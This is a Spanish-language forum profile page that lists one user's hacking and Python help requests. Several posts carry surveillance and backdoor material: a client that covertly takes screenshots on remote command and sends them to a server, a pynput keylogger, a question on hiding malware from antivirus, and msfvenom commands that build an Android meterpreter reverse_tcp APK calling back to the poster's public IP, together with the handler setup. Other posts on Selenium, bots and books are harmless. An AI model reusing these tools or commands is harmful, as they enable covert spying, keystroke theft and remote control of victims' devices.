Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - painpills

#1
Estuve creando un cliente y servidor, el código que estoy dejando es el del cliente, que se conecta a al servidor y luego se queda a la escucha de una orden, la única a la que responde ahora mismo es a la de tomar un screenshot y enviarla hacia al servidor, al principio el servidor nunca dejaba de recibir información por lo que se quedaba trabado, luego investigando descubrí la instrucción shutdown() que le indicaba al servidor que ya no estaba recibiendo información así podía recibir la imagen e ingresar otra orden. Mi problema es que s.shutdown(socket.SHUT_WR) lo que hace es cerrar uno de los lados de la conexión impidiéndole al cliente enviar información a través del socket así que cuando nuevamente doy la orden de tomar un screenshot el cliente la recibe pero no puede enviar la imagen, saben alguna solución o una forma de "reabrir" el socket para nuevamente enviar información hacia al servidor?



import socket
import pyscreenshot




HOST = 'localhost'
PORT = 4444

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

print('Conexión establecida')

while True:
orden = s.recv(1024)

if orden == b'screenshot':
#tomo un pantallazo y lo guardo en formato png

img = pyscreenshot.grab()
img.save("captura.png")

#abro la imagen en modo lectura binaria para enviarla

f = open("captura.png", "rb")
imagen = f.read()

while imagen:
s.send(imagen)
imagen = f.read()

# se termina el envio de la imagen

print("Imagen enviada")
s.shutdown(socket.SHUT_WR)
f.close()
del(f)




Dejo también el código del servidor, por si sirve de algo


import socket
import datetime

fechayhora = datetime.datetime.now().strftime('%Y-%m-%d %H-%M-%S')



HOST = 'localhost'
PORT = 4444

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind((HOST, PORT))
socket.listen()

print('Servidor a la escucha...')

conn, addr = socket.accept()

print('Conexión entrante de ' + str(addr))

with conn:

while True:
orden = input('Ingresa una orden: ')
orden = orden.lower()

if orden == 'screenshot':
conn.send(b'screenshot')

#recibo la imagen enviada desde el cliente
f = open('capturas\\screenshot_' + str(fechayhora) + '.png', 'wb')
imagen = conn.recv(1024)

while imagen:

f.write(imagen)
imagen = conn.recv(1024)


f.close()
print('Imagen recibida')


elif orden == 'salir':
quit()
#2
Hacking / Cómo ocultar malware?
4 Julio 2021, 08:01 AM
Como puedo ocultar programas ante un antivirus? puede que sea cuestión de ingenio, pero supongo que también habrá algunos conocimientos base de los cuales partir, que me recomendarían estudiar o investigar? No sé por donde empezar   :-\
#3
Estuve leyendo sobre sockets, y lo que pude entender es que sirven para crear un enlace entre una aplicación cliente y otra servidor, pongamos como ejemplo que yo creo un programa con python que tiene como función tomar screenshots, pero no quiero que lo haga de forma periódica sino por una orden en un panel de control desde otra computadora, el aprender sobre sockets me ayudaría a crear una aplicación así o estoy equivocado? :P
#4
Hola, estuve intentando hacer un keylogger utilizando pynput, y funciona perfectamente, la cosa es que tengo pensado que las pulsaciones se guarden en un archivo externo, pero no he podido retirar las comillas de las teclas que registra el Keylogger.



from pynput import keyboard

def on_press(key):
key = str(key)
key.replace("'", "")
print(key)



with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()


creí saber como se hacía, siempre utilizo replace() pero esta vez las teclas que presiono siguen imprimiéndose en consola con las comillas y también se guardan así cuando intento ponerlas en un archivo externo, saben a que se puede deber? O conocen otra forma para retirar las comillas?  :P
#5
Scripting / Error de selenium - Python
17 Junio 2021, 11:22 AM
"Unknow error unable to discover open pages"

Es ese el error que me aparece en consola luego de ejecutar mi programa.

Hace unos días que quise empezar a hacer ejercicios de web scraping con python y selenium porque por lo que leí es la opción más completa y fácil de aprender pero lo único que he conseguido es que se abra una ventana de Google Chrome, luego de eso se cierra y aparece el error en consola sin haber accedido a la url que le indico.

https://ibb.co/p4BKkCF (dejo aquí un link hacia la imagen de lo que aparece en consola, no sé bien si hay otra forma de insertar imágenes aquí)

Me aseguré que la versión de webdrive que descargué fuera la indicada para mi navegador intenté incluso con cosas que seguramente no tenían nada que ver con el problema, actualicé pip y reinstale selenium y nada.  :-\

https://ibb.co/y8F35XH (este es el código que escribí)
#6
Hacking / Bots? que son y como funcionan?
11 Abril 2020, 16:02 PM
Hola a todo aquel que esté leyendo este post.
Llevo ya algunos años estudiando automatización industrial en la universidad y hasta ha ahora he sido capaz de crear autómatas programables que son básicamente pequeños robots que automatizan procesos industriales, incluso mi pc tiene algunas partes automatizadas, ventiladores que aumentan o disminuyen su velocidad dependiendo de la temperatura en el ambiente.

Solo sé contruir sistemas automáticos analógios y programarlos con arduino, aún no tengo mucho conocimiento sobre la automatización digital y hasta donde tengo entendido un bot es básicamente lo mismo, un programa que automatiza procesos de cualquier tipo, y me interesa mucho la automatización y la inteligencia artifical.

Entonces me preguntaba si alguien aquí sabe donde puedo encontrar información sobre el tema de los bots, o si ya hay algún tipo de información sobre eso en este foro, como funcionan y como interactuan con los demás programas, sería de gran utilidad.

(No sé si mi post está mal ubicado, de ser así haganmelo saber por favor, no tengo mucha experiencia en foros)

Gracias
#7
Hacking / Libros que recomienden?
14 Marzo 2020, 09:34 AM
Hola, hay algún libro en particular que recomienden y que pueda aportar al aprendizaje de seguridad informática? Acepto cualquier sugerencia, libros sobre redes, tutoriales, técnicas, programas, lo que sea, gracias.
#8
Hacking / Problema, ataques fuera de red.
6 Marzo 2020, 04:21 AM
Hola, hace días que estuve probando ataques fuera de red utilizando apk's creadas con msfvenom. Al principio funcionaba todo correctamente, configuré mi ip local como DMZ de mi router para evitar problemas con los puertos, e incluso pude utilizar NO-IP con normalidad.

El problema es que hace un día o dos, simplemente han dejado de funcionarme los ataques fuera de red, Kali cambió la ip local de mi máquina pero inmediatamente actualicé el DMZ de mi router. Entonces pensé que podría ser un problema de NO-IP y decidí generar las apk's directamente con mi mi pública, de la siguiente manera.

msfvenom -p android/meterpreter/reverse_tcp  lhost=<mi ip publica>  lport=4444 R>/root/Escritorio/aplicacion.apk

Luego de haber generado la aplicación me pongo a la escucha de la siguiente forma.

1) use exploit/multi/hander
2) set payload android/meterpreter/reverse_tcp
3) set lport=<mi ip local> y también set lport=444
5) exploit

Aún configurando la aplicación de esa manera sigue sin funcionar  :-\
¿Alguien tiene alguna idea de qué puede estar ocasionando este problema o como solucionarlo?

¿podría el cambio de ip haber ocasionado eso? Cambió tanto mi ip pública, como la local.


Gracias.
#9
Hacking / reverse_tcp o reverse_https?
29 Febrero 2020, 04:30 AM
Hola, hace poco que inicie a familiarizarme con kali linux y sus herramientas. He estado creando Backdoors para android con mfsvenom utilizando el siguiente payload:

android/meterpreter/reverse_tcp

Pero hace poco me di cuenta viendo algunos tutoriales que algunas personas lo utilizan de esta manera:

android/meterpreter/reverse_https


Alguien podría aclararme que diferencia hay entre los dos?
O si es más conveniente usar uno u otro en casos específicos.

Cualquier otra información adicional me vendría de maravilla. Gracias.  :D